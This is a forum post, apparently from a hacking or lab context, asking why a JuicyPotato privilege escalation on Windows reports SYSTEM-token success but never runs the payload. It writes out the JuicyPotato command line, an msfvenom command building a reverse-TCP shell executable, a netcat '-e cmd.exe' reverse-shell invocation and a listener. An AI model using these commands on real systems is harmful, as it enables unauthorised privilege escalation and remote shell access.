[DEVEL] Why does juicypotato don't execute my command even if it's successful?

hello friends :slight_smile:
So I’m trying really hard to get a precompiled x86 juicypotato (I’m to dumb to compile it myself) privesc executing a shell, but all I get is this:

\\\share\juicypotato_x86.exe -l 9500 -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020} -p C:\inetpub\wwwroot\shell-x86_2.exe 
\\\share\juicypotato_x86.exe -l 9500 -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020} -p C:\inetpub\wwwroot\shell-x86_2.exe 
Testing {03ca98d6-ff5d-49b8-abc6-03dd84127020} 9500
[+] authresult 0
{03ca98d6-ff5d-49b8-abc6-03dd84127020};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

The shell was generated with this:
msfvenom -p windows/shell/reverse_tcp LHOST= LPORT=5556 -f exe > shell-x86_2.exe

And I’m running the multihandler to get my shell:
lport: 5556

But tried it with netcat as well:
\\\share\juicypotato_x86.exe -l 9500 -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020} -p C:\inetpub\wwwroot\nc.exe -a "-e cmd.exe 5557

Listener: nc -lnvp 5557

It seems, that it’s working (all the time actually) but it NEVER runs my executable afterwards, regardless of where the executable is. (local or via a SMB share)

What am I doing wrong?